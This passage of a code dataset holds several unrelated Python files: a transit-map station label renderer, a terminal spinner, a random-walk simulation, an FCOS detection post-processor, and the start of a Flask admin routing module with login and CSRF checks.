+{"seq_id":"85945201","text":"from PIL import Image, ImageDraw, ImageFilter, ImageFont\nimport cairo\nimport math\nimport os\nimport unicodedata\n    \nclass Station:\n    def __init__(self, key, zhName, enName, namePos, angle, lineNum, color=\"black\", outline=\"white\", thickness=0, interchange=None):\n        self.__key = key\n        self.__zhName = zhName\n        self.__enName = enName\n        self.__namePos = namePos\n        self.__angle = angle\n        self.__lineNum = lineNum\n        self.__color = color\n        self.__outline = outline\n        self.__thickness = thickness\n        self.__interchange = interchange\n        \n    def generate(self):\n        circlePath, centerPoints = self.__createCircle(self.__angle, self.__lineNum)\n        nameList = self.__createName(self.__zhName, self.__enName, self.__namePos, self.__color, self.__outline, self.__thickness)\n        \n        self.__mergeImage(Image.open(circlePath), nameList)\n        \n    def __from_pil(self, im, alpha=1.0, format=cairo.FORMAT_ARGB32):\n        \"\"\"\n        :param im: Pillow Image\n        :param alpha: 0..1 alpha to add to non-alpha images\n        :param format: Pixel format for output surface\n        \"\"\"\n        assert format in (cairo.FORMAT_RGB24, cairo.FORMAT_ARGB32), \"Unsupported pixel format: %s\" % format\n        if 'A' not in im.getbands():\n            im.putalpha(int(alpha * 256.))\n        arr = bytearray(im.tobytes('raw', 'BGRa'))\n        surface = cairo.ImageSurface.create_for_data(arr, format, im.width, im.height)\n        return surface\n        \n    # str (path to the png), list (centre point for line)\n    def __createCircle(self, angle, lineNum):\n        assert type(angle) is int or type(angle) is float, \"not int ot float\"\n        assert type(lineNum) is int, \"not int\"\n        assert lineNum > 0, \"line number must greater than 0\"\n        assert 0 <= angle < 180, \"angle must be greater or equal than 0, and less than 180\"\n        \n        x = 115 * (lineNum-1) * math.cos( angle * math.pi / 180 )\n        y = 115 * (lineNum-1) * math.sin( angle * math.pi / 180 )\n        \n        width, height = 205 + int(math.ceil(abs(x))),\\\n                        205 + int(math.ceil(abs(y)))\n\n        im = Image.new(\"RGBA\", (width, height))\n        surface = self.__from_pil(im)\n        ctx = cairo.Context(surface)\n        \n        radius = (102.5, 77.5)\n        \n        for i in range(len(radius)):\n            \n            \"\"\"\n            : CIRCLE SEGMENT\n            \"\"\"\n            \n            for d in (0,1):\n                \n                ctx.arc(\n                    102.5 + x * d - x * int(angle>90),\n                    102.5 + y * d,\n                    radius[i],\n                    0,\n                    math.pi * 2\n                )\n            \n                ctx.close_path()\n                ctx.set_source_rgb(i,i,i)\n                ctx.fill()\n            \n            \"\"\"\n            : EXTENDED RECTANGLE\n            \"\"\"\n            \n            ctx.move_to( 102.5 - x * int(angle>90), 102.5 )\n            ctx.line_to(\n                102.5 + x - x * int(angle>90),\n                102.5 + y\n            )\n            ctx.set_source_rgb(i,i,i)\n            ctx.set_line_width(radius[i]*2)\n            ctx.stroke()\n            \n        \"\"\"\n        : CALCULATE CENTRE POINT(S) FOR LINES\n        \"\"\"\n        \n        diff = (\n            115 * math.cos( angle * math.pi / 180 ),\n            115 * math.sin( angle * math.pi / 180 )\n        )\n        \n        center = []\n        \n        for i in range(lineNum):\n            center.append((\n                float(\"{0:.5f}\".format(\n                    102.5 + x - x * int(angle>90) - diff[0] * (i)\n                )),\n                float(\"{0:.5f}\".format(\n                    102.5 + y - diff[1] * (i)\n                ))\n            ))\n        \n        path = \"result/temp_circle.png\"\n        surface.write_to_png(path)\n        return path, center[::-1]\n        \n    # list (of Image)\n    def __createName(self, zhName, enName, namePos, color=\"black\", outline=\"white\", thickness=4):\n        \n        assert not (\"E\"  in namePos and \"W\"  in namePos) and not (\"N\"  in namePos and \"S\"  in namePos), \"invalid position\"\n        \n        name = [zhName, enName]\n        png_list = []\n        \n        for d in range(len(name)):\n            line = name[d].count(\"\\n\")+1\n            size = (67 + 14 if d else 147 + 32) * 1.1 / line\n            font = ImageFont.truetype(\n                font='font/FreeSansBold.ttf' if d else 'font/SourceHanSerifTC-Bold.otf',\n                size=int(size)\n            )\n            name_list = name[d].split(\"\\n\")\n            \n            maxWidth, maxHeight = 0, 0\n            zhAve = []\n            lineWidth = []\n            for i in range(line):\n            \n                charWidth = [unicodedata.east_asian_width(char) for char in name_list[i]]\n            \n                w, h = ImageDraw.Draw(Image.new(\"RGBA\",(1,1))).textsize(\n                           name_list[i],\n                           font=font\n                       )\n                w1, h1 = ImageDraw.Draw(Image.new(\"RGBA\",(1,1))).textsize(\n                           \"hg\",\n                           font=font\n                       )\n                if w > maxWidth: maxWidth = w\n                if h > maxHeight: maxHeight = h\n                if h1 > maxHeight and d: maxHeight = h1\n                if \"Na\" not in charWidth:\n                    zhAve.append(w/len(name_list[i]))\n                    lineWidth.append(1)\n                else:\n                    lineWidth.append(0)\n                \n            if zhAve: zhAve = sum(zhAve)/len(zhAve)\n            else: zhAve = 0\n                \n            \"\"\"\n            : maxWidth indicates the width for every line of the text\n            : maxHeight indicates the height for every line of the text\n            : zhAve indicates the average value of East Asian character appeared; not include text that have non E.A. character\n            : lineWidth[i] indicates whether there are non E.A. character in the text, used for aligning\n            \"\"\"\n            \n            width = maxWidth + thickness*2\n            height = maxHeight * line + thickness*2\n            \n            png = Image.new(\"RGBA\", (width, height))\n            png_draw = ImageDraw.Draw(png)\n            \n            x = math.ceil(maxWidth/2)+thickness\n            y = math.ceil(maxHeight/2)+thickness\n            \n            for i in range(line):\n            \n                w, h = ImageDraw.Draw(Image.new(\"RGBA\",(1,1))).textsize(\n                    name_list[i],\n                    font=font\n                )\n                \n                x1 = x - (\n                         (w * int(d or not lineWidth[i]) + zhAve * len(name_list[i]) * lineWidth[i]) * int(\"W\" in namePos or (\"S\" in namePos or \"N\" in namePos) and not (\"E\" in namePos))\n                     ) / (\n                         1 + int((\"S\" in namePos or \"N\" in namePos) and not (\"W\" in namePos))\n                     ) + (\n                         (x - thickness) * int(\"W\" in namePos)\n                     ) - (\n                         (x - thickness) * int(\"E\" in namePos)\n                     )\n                     \n                for j in range(-thickness,thickness+1,1):\n                    for k in range(-thickness,thickness+1,1):\n                        png_draw.text(\n                            (\n                                x1 + j,\n                                i * maxHeight + k\n                            ),\n                            text=name_list[i],\n                            font=font, fill=outline\n                        )\n            \n                png_draw.text(\n                    (\n                        x1,\n                        i * maxHeight\n                    ),\n                    text=name_list[i],\n                    font=font, fill=color\n                )\n            \n            #png.save(\"result/__station__{0}__{1}.png\".format(self.__key, \"en\" if d else \"zh\"))\n            png_list.append(png)\n            \n        return png_list\n        \n    # centre point(s) of station circle (save as png)\n    def __mergeImage(self, station, name, interchange=None):\n        \n        station_w, station_h = station.size\n        zhname_w, zhname_h = name[0].size\n        enname_w, enname_h = name[1].size\n        \n        hd = 20 # Horizontal difference\n        \n        if \"N\" in self.__namePos or \"S\" in self.__namePos:\n            imageHeight = station_h + zhname_h + enname_h\n        else:\n            imageHeight = max(station_h, zhname_h + enname_h)\n        if \"E\" in self.__namePos or \"W\" in self.__namePos:\n            imageWidth = station_w + max(zhname_w, enname_w) + hd\n        else:\n            imageWidth = max(station_w, zhname_w, enname_w)\n        \n        im = Image.new(\"RGBA\", (imageWidth, imageHeight))\n        \n        #\"\"\"\n        if \"N\" in self.__namePos or \"S\" in self.__namePos:\n            station_x = imageWidth//2 - station_w//2\n            zhname_x = imageWidth//2 - zhname_w//2\n            enname_x = imageWidth//2 - enname_w//2\n        if \"E\" in self.__namePos:\n            station_x = 0\n            zhname_x = station_w + hd\n            enname_x = station_w + hd\n        if \"W\" in self.__namePos:\n            station_x = imageWidth - station_w\n            zhname_x = imageWidth - station_w - hd - zhname_w\n            enname_x = imageWidth - station_w - hd - enname_w\n        if \"E\" in self.__namePos or \"W\" in self.__namePos:\n            station_y = imageHeight//2 - station_h//2\n            zhname_y = 0\n            enname_y = zhname_h\n        if \"S\" in self.__namePos:\n            station_y = 0\n            zhname_y = station_h\n            enname_y = station_h + zhname_h\n        if \"N\" in self.__namePos:\n            station_y = enname_h + zhname_h\n            zhname_y = 0\n            enname_y = zhname_h\n            \n        im.paste(station, (station_x, station_y))\n        im.paste(name[0], (zhname_x, zhname_y))\n        im.paste(name[1], (enname_x, enname_y))\n        \n        im.save(\"result/__station__{0}.png\".format(self.__key))\n        \n        os.remove(\"result/temp_circle.png\")\n        \nclass Interchange:\n    def __init__(self, key, zhName, enName, lineColor, textColor=\"black\", outline=\"white\"):\n        self.key = key\n        self.zhName = zhName\n        self.enName = enName\n        self.lineColor = lineColor\n        self.textColor = textColor\n        self.outline = outline\n        \nclass Interchanges:\n    def __init__(self, interchange_list=[], direction=\"N\", thickness=0):\n        self.__list = interchange_list\n        self.__direction = direction\n        self.__thickness = thickness\n        \n    def generate(self):\n        interchangePath = self.__createInterchange(self.__list, self.__direction, self.__thickness)\n        \n    def __from_pil(self, im, alpha=1.0, format=cairo.FORMAT_ARGB32):\n        \"\"\"\n        :param im: Pillow Image\n        :param alpha: 0..1 alpha to add to non-alpha images\n        :param format: Pixel format for output surface\n        \"\"\"\n        assert format in (cairo.FORMAT_RGB24, cairo.FORMAT_ARGB32), \"Unsupported pixel format: %s\" % format\n        if 'A' not in im.getbands():\n            im.putalpha(int(alpha * 256.))\n        arr = bytearray(im.tobytes('raw', 'BGRa'))\n        surface = cairo.ImageSurface.create_for_data(arr, format, im.width, im.height)\n        return surface\n    \n    # str (path to the png)\n    def __createInterchange(self, list, direction=\"N\", thickness=0):\n        assert type(direction) is str, \"must be str\"\n        assert direction in (\"N\", \"E\", \"W\", \"S\"), \"must be 'N', 'S', 'E' or 'W'\"\n        \n        path = \"result/temp_line.png\"\n        \n        if direction in (\"N\", \"S\"):\n            maxWidth = 0\n            for i in list:\n                for d in (0, 1):\n                    size = (53 + 18 if d else 67 + 21) * 1.1\n                    font = ImageFont.truetype(\n                        font='font/FreeSansBold.ttf' if d else 'font/SourceHanSerifTC-Bold.otf',\n                        size=int(size)\n                    )\n                \n                    w, h = ImageDraw.Draw(Image.new(\"RGBA\",(1,1))).textsize(\n                        i.enName if d else i.zhName,\n                        font=font\n                    )\n                    \n                    if w > maxWidth: maxWidth = w\n        \n            width, height = 41+(maxWidth+thickness)*2, 122*len(list)\n            \n            png = Image.new( \"RGBA\", (width, height) )\n            png_draw = ImageDraw.Draw(png)\n            \n            surface = self.__from_pil(png)\n            ctx = cairo.Context(surface)\n            \n            for i in range(len(list)):\n                ctx.move_to(width/2, 122*len(list))\n                ctx.line_to(width/2, 122*len(list) - 122*(len(list)-i))\n                ctx.set_source_rgb(\n                    int(list[i].lineColor[0:2],16)/255,\n                    int(list[i].lineColor[2:4],16)/255,\n                    int(list[i].lineColor[4:6],16)/255\n                )\n                ctx.set_line_width(41)\n                ctx.stroke()\n                \n            surface.write_to_png(path)\n            png2 = Image.open(path)\n            \n            for d in (0, 1):\n                size = (53 + 18 if d else 67 + 21)\n                font = ImageFont.truetype(\n                    font='font/FreeSansBold.ttf' if d else 'font/SourceHanSerifTC-Bold.otf',\n                    size=size\n                )\n            \n                for i in range(len(list)):\n                    w, h = ImageDraw.Draw(Image.new(\"RGBA\",(1,1))).textsize(\n                        list[i].zhName,\n                        font=font\n                    )\n                    w1, h1 = ImageDraw.Draw(Image.new(\"RGBA\",(1,1))).textsize(\n                        \"hg\",\n                        font=font\n                    )\n                    \n                    x = width/2 + 41/2 * (2*d-1) + w * (d-1) + (20 * (2*d-1)) + 2 * (d-1)\n                    y = height/2 - h1/2 * d + h/2 * (d-1) + 12 * (d-1)\n                                            \n                    for j in range(-thickness,thickness+1,1):\n                        for k in range(-thickness,thickness+1,1):\n                            png_draw.text(\n                                (\n                                    x + j,\n                                    y + 122 * i - ( 122*(len(list)-1) - 122*(len(list)-1)/2) + k\n                                ),\n                                text=list[i].enName if d else list[i].zhName,\n                                font=font, fill=list[i].outline\n                            )\n                    \n                    png_draw.text(\n                        (\n                            x,\n                            y + 122 * i - ( 122*(len(list)-1) - 122*(len(list)-1)/2)\n                        ),\n                        text=list[i].enName if d else list[i].zhName,\n                        font=font, fill=list[i].textColor\n                    )\n                \n            png.alpha_composite(png2)\n            png.save(\"result/__interchange.png\".format(list[i].key, d))\n                    \n        else:\n            pass\n            \n        os.remove(path)","sub_path":"station.py","file_name":"station.py","file_ext":"py","file_size_in_byte":15191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"251351968","text":"import os\nimport sys\nimport time\n\nfrom get_holiday_color import *\n\nCOLORS = [RED for _ in range(10)] + [GREEN for _ in range(10)]\n\ndef twiddle(secs):\n    len_sleep = 0.1\n    times = int(secs / len_sleep)\n    frames=['|', '/', '-', '\\\\']\n    for i in range(times):\n        color_index = i % len(COLORS)\n        index = i % len(frames)\n        sys.stdout.write(COLORS[color_index])\n        sys.stdout.write(frames[index])\n        sys.stdout.flush()\n        time.sleep(len_sleep)\n        sys.stdout.write('\\b')\n        sys.stdout.write(DEFAULT_COLOR)\n\nif __name__ == \"__main__\":\n    twiddle(3)\n","sub_path":"present/resources/twiddle.py","file_name":"twiddle.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"385537580","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport numba\n\nimport stats\n\n# website says tau (step time) is about 0.5 sec, but we just care about steps for now\n@numba.jit()\ndef backtrack_steps():\n    t = 0\n    x = 0\n\n    directions = np.array([-1, 1], dtype=int)\n\n    while x <= 0:\n        x = x + np.random.choice(directions)\n        t += 1\n\n    return t\n\n@numba.jit()\ndef gen_backtracks(n=10000):\n    bt_reps = np.empty(n)\n\n    for i in range(n):\n        #print(i)\n        bt_reps[i] = backtrack_steps()\n\n    return bt_reps\n\nrerun_simulation = True\nfilename = '../../data/my_pause_steps.csv'\n\nif rerun_simulation:\n    # binsize again?\n    bts = gen_backtracks()\n\n    # doesn't illustrate the power law distributed data very well\n    #plt.hist(gen_backtracks(), normed=True)\n    #plt.title('Backtrack step counts on pause')\n    #plt.show()\n\n    bt_sorted, bt_cpf = stats.ecdf(bts)\n    \n    # turn the recorded step counts into a DataFrame\n    d = {'steps until +1': bts}\n    df = pd.DataFrame(data=d)\n\n    # save the data as a DataFrame to save it in a manner consistent with theme today\n    df.to_csv(filename, index=False)\n\nif not rerun_simulation:\n    df = pd.read_csv(filename)\n\n# determine a reasonable range to plot the histogram over\nmax_pwr = np.log(df['steps until +1'].max()) / np.log(10)\n\nplt.hist(df['steps until +1'], bins=np.logspace(0, max_pwr, 50))\nplt.gca().set_xscale('log')\nplt.gca().set_yscale('log')\nplt.title('Steps before simulated pauses end')\nplt.xlabel('Number of steps')\nplt.ylabel('Cumulative probability')\nplt.show()\n\n\"\"\"\nCCDF exponent of -1/2 => PDF exponent of -3/2 b/c CDF is integral (but CCDF?)\n\"\"\"\n","sub_path":"created/3/monte_carlo.py","file_name":"monte_carlo.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"567161734","text":"import torch\n\nfrom ..inference import RPNPostProcessor\nfrom ..utils import permute_and_flatten\n\nfrom maskrcnn_benchmark.modeling.box_coder import BoxCoder\nfrom maskrcnn_benchmark.modeling.utils import cat\nfrom maskrcnn_benchmark.structures.bounding_box import BoxList\nfrom maskrcnn_benchmark.structures.boxlist_ops import cat_boxlist\nfrom maskrcnn_benchmark.structures.boxlist_ops import boxlist_nms\nfrom maskrcnn_benchmark.structures.boxlist_ops import remove_small_boxes\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass FCOSPostProcessor(torch.nn.Module):\n    \"\"\"\n    Performs post-processing on the outputs of the RetinaNet boxes.\n    This is only used in the testing.\n    \"\"\"\n    def __init__(\n        self,\n        pre_nms_thresh,\n        pre_nms_top_n,\n        nms_thresh,\n        fpn_post_nms_top_n,\n        min_size,\n        num_classes,\n        vis_labels\n    ):\n        \"\"\"\n        Arguments:\n            pre_nms_thresh (float)\n            pre_nms_top_n (int)\n            nms_thresh (float)\n            fpn_post_nms_top_n (int)\n            min_size (int)\n            num_classes (int)\n            box_coder (BoxCoder)\n        \"\"\"\n        super(FCOSPostProcessor, self).__init__()\n        self.pre_nms_thresh = pre_nms_thresh\n        self.pre_nms_top_n = pre_nms_top_n\n        self.nms_thresh = nms_thresh\n        self.fpn_post_nms_top_n = fpn_post_nms_top_n\n        self.min_size = min_size\n        self.num_classes = num_classes\n        self.vis_labels = vis_labels\n\n    def forward_for_single_feature_map(\n            self, locations, box_cls_set,\n            box_regression, centerness,\n            image_sizes, show_box_cls):\n        \"\"\"\n        Arguments:\n            anchors: list[BoxList]\n            box_cls: tensor of size N, A * C, H, W\n            box_regression: tensor of size N, A * 4, H, W\n        \"\"\"\n        box_prob_set = []\n        for _box_cls in np.array(list(box_cls_set.values()))[[2]]:  #\n            N, C, H, W = _box_cls.shape\n            _box_cls = _box_cls.view(N, C, H, W).permute(0, 2, 3, 1)\n            box_prob_set.append(_box_cls.reshape(N, -1, C).sigmoid())\n        box_cls = torch.exp(torch.log(torch.stack(box_prob_set)).mean(dim=0))\n        # max_score = box_prob_set[-1].max()\n        # box_prob_set[:-1] = [box_prob / box_prob.max() * max_score for box_prob in box_prob_set[:-1]]\n        # box_cls = torch.stack(box_prob_set).max(dim=0)[0]\n        centerness = None\n\n        # put in the same format as locations\n        box_regression = box_regression.view(N, 4, H, W).permute(0, 2, 3, 1)\n        box_regression = box_regression.reshape(N, -1, 4)\n        if centerness is not None:\n            centerness = centerness.view(N, 1, H, W).permute(0, 2, 3, 1)\n            centerness = centerness.reshape(N, -1).sigmoid()\n\n        if self.vis_labels:\n            # box_prob_set.extend([box_cls, centerness, centerness[:,:,None]*box_prob_set[-1]])\n            show_box_cls(box_prob_set, N, H, W, C, self.pre_nms_thresh)\n\n        candidate_inds = box_cls > self.pre_nms_thresh\n        pre_nms_top_n = candidate_inds.view(N, -1).sum(1)\n        pre_nms_top_n = pre_nms_top_n.clamp(max=self.pre_nms_top_n)\n\n        # multiply the classification scores with centerness scores\n        if centerness is not None:\n            box_cls = (box_cls * centerness[:, :, None])\n\n        results = []\n        for i in range(N):\n            per_box_cls = box_cls[i]\n            per_candidate_inds = candidate_inds[i]\n            per_box_cls = per_box_cls[per_candidate_inds]\n\n            per_candidate_nonzeros = per_candidate_inds.nonzero()\n            per_box_loc = per_candidate_nonzeros[:, 0]\n            per_class = per_candidate_nonzeros[:, 1] + 1\n\n            per_box_regression = box_regression[i]\n            per_box_regression = per_box_regression[per_box_loc]\n            per_locations = locations[per_box_loc]\n\n            per_pre_nms_top_n = pre_nms_top_n[i]\n\n            if per_candidate_inds.sum().item() > per_pre_nms_top_n.item():\n                per_box_cls, top_k_indices = \\\n                    per_box_cls.topk(per_pre_nms_top_n, sorted=False)\n                per_class = per_class[top_k_indices]\n                per_box_regression = per_box_regression[top_k_indices]\n                per_locations = per_locations[top_k_indices]\n\n            detections = torch.stack([\n                per_locations[:, 0] - per_box_regression[:, 0],\n                per_locations[:, 1] - per_box_regression[:, 1],\n                per_locations[:, 0] + per_box_regression[:, 2],\n                per_locations[:, 1] + per_box_regression[:, 3],\n            ], dim=1)\n\n            h, w = image_sizes[i]\n            boxlist = BoxList(detections, (int(w), int(h)), mode=\"xyxy\")\n            boxlist.add_field(\"labels\", per_class)\n            boxlist.add_field(\"scores\", per_box_cls)\n            boxlist.add_field(\"det_locations\", per_locations)\n            boxlist = boxlist.clip_to_image(remove_empty=False)\n            boxlist = remove_small_boxes(boxlist, self.min_size)\n            results.append(boxlist)\n\n        return results\n\n    def forward(self, locations, box_cls_set, box_regression, centerness, image_sizes, images=None, targets=None):\n        \"\"\"\n        Arguments:\n            anchors: list[list[BoxList]]\n            box_cls: list[tensor]\n            box_regression: list[tensor]\n            image_sizes: list[(h, w)]\n        Returns:\n            boxlists (list[BoxList]): the post-processed anchors, after\n                applying box decoding and NMS\n        \"\"\"\n        cascade_num = len(box_cls_set)\n        for box_cls in box_cls_set.values():\n            fpn_level_num = len(box_cls)\n            break\n        box_cls_set_level_first = [{} for _ in range(fpn_level_num)]\n        for name, box_cls in box_cls_set.items():\n            for lvl, cls in enumerate(box_cls):\n                box_cls_set_level_first[lvl][name] = cls\n        box_cls_set = box_cls_set_level_first\n        if centerness is None:\n            centerness = [None] * fpn_level_num\n\n        show_box_cls = BoxClsShower(fpn_level_num, images=images, targets=targets) if self.vis_labels else None\n\n        sampled_boxes = []\n        for _, (l, o, b, c) in enumerate(zip(locations, box_cls_set, box_regression, centerness)):\n            sampled_boxes.append(\n                self.forward_for_single_feature_map(\n                    l, o, b, c, image_sizes, show_box_cls\n                )\n            )\n\n        boxlists = list(zip(*sampled_boxes))\n        boxlists = [cat_boxlist(boxlist) for boxlist in boxlists]\n        boxlists = self.select_over_all_levels(boxlists)\n\n        return boxlists\n\n    # TODO very similar to filter_results from PostProcessor\n    # but filter_results is per image\n    # TODO Yang: solve this issue in the future. No good solution\n    # right now.\n    def select_over_all_levels(self, boxlists):\n        num_images = len(boxlists)\n        results = []\n        for i in range(num_images):\n            scores = boxlists[i].get_field(\"scores\")\n            labels = boxlists[i].get_field(\"labels\")\n            locations = boxlists[i].get_field(\"det_locations\")  # add here\n            boxes = boxlists[i].bbox\n            boxlist = boxlists[i]\n            result = []\n            # skip the background\n            for j in range(1, self.num_classes):\n                inds = (labels == j).nonzero().view(-1)\n\n                scores_j = scores[inds]\n                boxes_j = boxes[inds, :].view(-1, 4)\n                locations_j = locations[inds]\n                boxlist_for_class = BoxList(boxes_j, boxlist.size, mode=\"xyxy\")\n                boxlist_for_class.add_field(\"scores\", scores_j)\n                boxlist_for_class.add_field(\"det_locations\", locations_j)  # add here\n                boxlist_for_class = boxlist_nms(\n                    boxlist_for_class, self.nms_thresh,\n                    score_field=\"scores\"\n                )\n                num_labels = len(boxlist_for_class)\n                boxlist_for_class.add_field(\n                    \"labels\", torch.full((num_labels,), j,\n                                         dtype=torch.int64,\n                                         device=scores.device)\n                )\n                result.append(boxlist_for_class)\n\n            result = cat_boxlist(result)\n            number_of_detections = len(result)\n\n            # Limit to max_per_image detections **over all classes**\n            if number_of_detections > self.fpn_post_nms_top_n > 0:\n                cls_scores = result.get_field(\"scores\")\n                image_thresh, _ = torch.kthvalue(\n                    cls_scores.cpu(),\n                    number_of_detections - self.fpn_post_nms_top_n + 1\n                )\n                keep = cls_scores >= image_thresh.item()\n                keep = torch.nonzero(keep).squeeze(1)\n                result = result[keep]\n            results.append(result)\n        return results\n\n\ndef make_fcos_postprocessor(config):\n    pre_nms_thresh = config.MODEL.FCOS.INFERENCE_TH\n    pre_nms_top_n = config.MODEL.FCOS.PRE_NMS_TOP_N\n    nms_thresh = config.MODEL.FCOS.NMS_TH\n    fpn_post_nms_top_n = config.TEST.DETECTIONS_PER_IMG\n\n    box_selector = FCOSPostProcessor(\n        pre_nms_thresh=pre_nms_thresh,\n        pre_nms_top_n=pre_nms_top_n,\n        nms_thresh=nms_thresh,\n        fpn_post_nms_top_n=fpn_post_nms_top_n,\n        min_size=0,\n        num_classes=config.MODEL.FCOS.NUM_CLASSES,\n        vis_labels=config.MODEL.FCOS.DEBUG.VIS_LABELS\n    )\n\n    return box_selector\n\n\nclass BoxClsShower(object):\n    \"\"\"\n    map0-4: [0.125, 0.25, 0.5, 0.75, 1.0] ** 2 area range\n    map5: centerness\n    \"\"\"\n    def __init__(self, fpn_level=5, scatter_topk=10, EPS=1e-8, images=None, targets=None):\n        self.fpn_level = fpn_level\n        self.level_count = 0\n        self.box_probs = []\n        self.scatter_topk = scatter_topk\n        self.EPS = EPS\n        self.row_sub_fig = 4\n        self.single_fig_size = 4\n        self.titles = None\n        self.images = images\n        self.targets = targets\n\n    def find_local_max(self, box_prob):\n        B, C, H, W = box_prob.shape\n        max_prob, idx = F.max_pool2d_with_indices(box_prob, 3, 1, 1, return_indices=True)\n        max_prob = max_prob[0, 0]\n        box_prob = box_prob[0, 0]\n        is_local_max = torch.nonzero(box_prob == max_prob)\n        y, x = is_local_max[:, 0], is_local_max[:, 1]\n        idx = torch.argsort(-box_prob[y, x])\n        k = self.scatter_topk\n        y = y[idx[:k]]\n        x = x[idx[:k]]\n        return y.cpu().numpy(), x.cpu().numpy(), box_prob[y, x]\n\n    def mask_to_image(self, box_prob, upsample=False):\n        img = self.images.tensors[0:1]\n        if upsample:\n            box_prob = F.upsample(box_prob[None, None, :, :], img.shape[2:], mode='bilinear')[0, 0]\n        else:\n            img = F.upsample(img, box_prob.shape, mode='bilinear')\n        img = img[0].permute((1, 2, 0)).cpu() + torch.Tensor([102.9801, 115.9465, 122.7717])\n        return img * box_prob[:, :, None] / 255\n\n    def __call__(self, box_prob_set, N, H, W, C, th):\n        import matplotlib.pyplot as plt\n        box_probs = []\n        for i, box_prob in enumerate(box_prob_set):\n            if box_prob.numel() == N*H*W*C:\n                box_prob = box_prob.reshape(-1, H, W, C)[:1]\n            elif box_prob.numel() == N*H*W:\n                box_prob = box_prob.reshape(-1, H, W, 1)[:1]\n            box_prob = box_prob.max(dim=-1, keepdim=True)[0].permute((0, 3, 1, 2))\n            box_probs.append(box_prob.cpu())\n\n        # merge FPN multi-level score map to one map by resize add.\n        if len(self.box_probs) == 0:\n            self.box_probs = box_probs\n        else:\n            for i, p in enumerate(box_probs):  # for each area th score map\n                box_prob = self.box_probs[i]\n                if box_prob.numel() < p.numel():\n                    box_prob = F.upsample(box_prob, p.shape[2:], mode='bilinear')\n                else:\n                    p = F.upsample(p, box_prob.shape[2:], mode='bilinear')\n                self.box_probs[i] = torch.max(torch.stack([p, box_prob]), dim=0)[0]\n        self.level_count += 1\n\n        if self.level_count == self.fpn_level:\n            # show each area th score map\n            n_figs = len(self.box_probs)\n            r = self.row_sub_fig if n_figs >= self.row_sub_fig else n_figs\n            c = int(np.ceil((n_figs/r)))\n            plt.figure(figsize=(r * self.single_fig_size, c * self.single_fig_size))  # (W, H)\n            for i, box_prob in enumerate(self.box_probs):\n                y, x, score = self.find_local_max(box_prob)\n                box_prob = box_prob[0, 0]\n                max_p = box_prob.max()\n                std = box_prob.std()\n                box_prob /= max_p\n                if self.images is not None:\n                    box_prob = self.mask_to_image(box_prob)\n                box_prob = box_prob.numpy()\n                plt.subplot(c, r, i+1)\n                plt.imshow(box_prob)\n                plt.scatter(x, y, color='r', s=20 * score)\n                if self.titles is not None:\n                    title = self.titles[i]\n                else:\n                    title = 'map {}'.format(i)\n                plt.title(\"{}, max:{:.2f}, std: {:.2f}\".format(title, float(max_p), float(std)))\n            plt.show()\n            self.level_count = 0\n            del self.box_probs\n            self.box_probs = []\n","sub_path":"tiny_benchmark_Salpha/maskrcnn_benchmark/modeling/rpn/cascade_fcos/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":13381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"628786126","text":"from nose.tools import set_trace\nfrom functools import wraps\nimport flask\nfrom flask import (\n    Response,\n    redirect,\n    make_response\n)\nimport os\n\nfrom api.app import app\nfrom api.config import Configuration\n\nfrom core.util.problem_detail import ProblemDetail\nfrom core.app_server import returns_problem_detail\n\nfrom controller import setup_admin_controllers\nfrom templates import (\n    admin as admin_template,\n    admin_sign_in_again as sign_in_again_template,\n)\n\nimport csv, codecs, cStringIO\nfrom StringIO import StringIO\nimport urllib\n\n# The secret key is used for signing cookies for admin login\napp.secret_key = Configuration.get(Configuration.SECRET_KEY)\n\n@app.before_first_request\ndef setup_admin():\n    if getattr(app, 'manager', None) is not None:\n        setup_admin_controllers(app.manager)\n\ndef allows_admin_auth_setup(f):\n    @wraps(f)\n    def decorated(*args, **kwargs):\n        setting_up = (app.manager.admin_sign_in_controller.auth == None)\n        return f(*args, setting_up=setting_up, **kwargs)\n    return decorated\n\ndef requires_admin(f):\n    @wraps(f)\n    def decorated(*args, **kwargs):\n        if 'setting_up' in kwargs:\n            setting_up = kwargs.pop('setting_up')\n        else:\n            setting_up = False\n\n        if not setting_up:\n            admin = app.manager.admin_sign_in_controller.authenticated_admin_from_request()\n            if isinstance(admin, ProblemDetail):\n                return app.manager.admin_sign_in_controller.error_response(admin)\n            elif isinstance(admin, Response):\n                return admin\n\n        return f(*args, **kwargs)\n    return decorated\n\ndef requires_csrf_token(f):\n    @wraps(f)\n    def decorated(*args, **kwargs):\n        if 'setting_up' in kwargs:\n            setting_up = kwargs.get('setting_up')\n        else:\n            setting_up = False\n        if not setting_up and flask.request.method in [\"POST\", \"PUT\", \"DELETE\"]:\n            token = app.manager.admin_sign_in_controller.check_csrf_token()\n            if isinstance(token, ProblemDetail):\n                return token\n        return f(*args, **kwargs)\n    return decorated\n\n@app.route('/admin/GoogleAuth/callback')\n@returns_problem_detail\ndef google_auth_callback():\n    return app.manager.admin_sign_in_controller.redirect_after_sign_in()\n\n@app.route('/admin/sign_in')\n@returns_problem_detail\ndef admin_sign_in():\n    return app.manager.admin_sign_in_controller.sign_in()\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>', methods=['GET'])\n@returns_problem_detail\n@requires_admin\ndef work_details(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.details(data_source, identifier_type, identifier)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/classifications', methods=['GET'])\n@returns_problem_detail\n@requires_admin\ndef work_classifications(data_source, identifier_type, identifier):\n    data = app.manager.admin_work_controller.classifications(data_source, identifier_type, identifier)\n    if isinstance(data, ProblemDetail):\n        return data\n    return flask.jsonify(**data)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/complaints', methods=['GET'])\n@returns_problem_detail\n@requires_admin\ndef work_complaints(data_source, identifier_type, identifier):\n    data = app.manager.admin_work_controller.complaints(data_source, identifier_type, identifier)\n    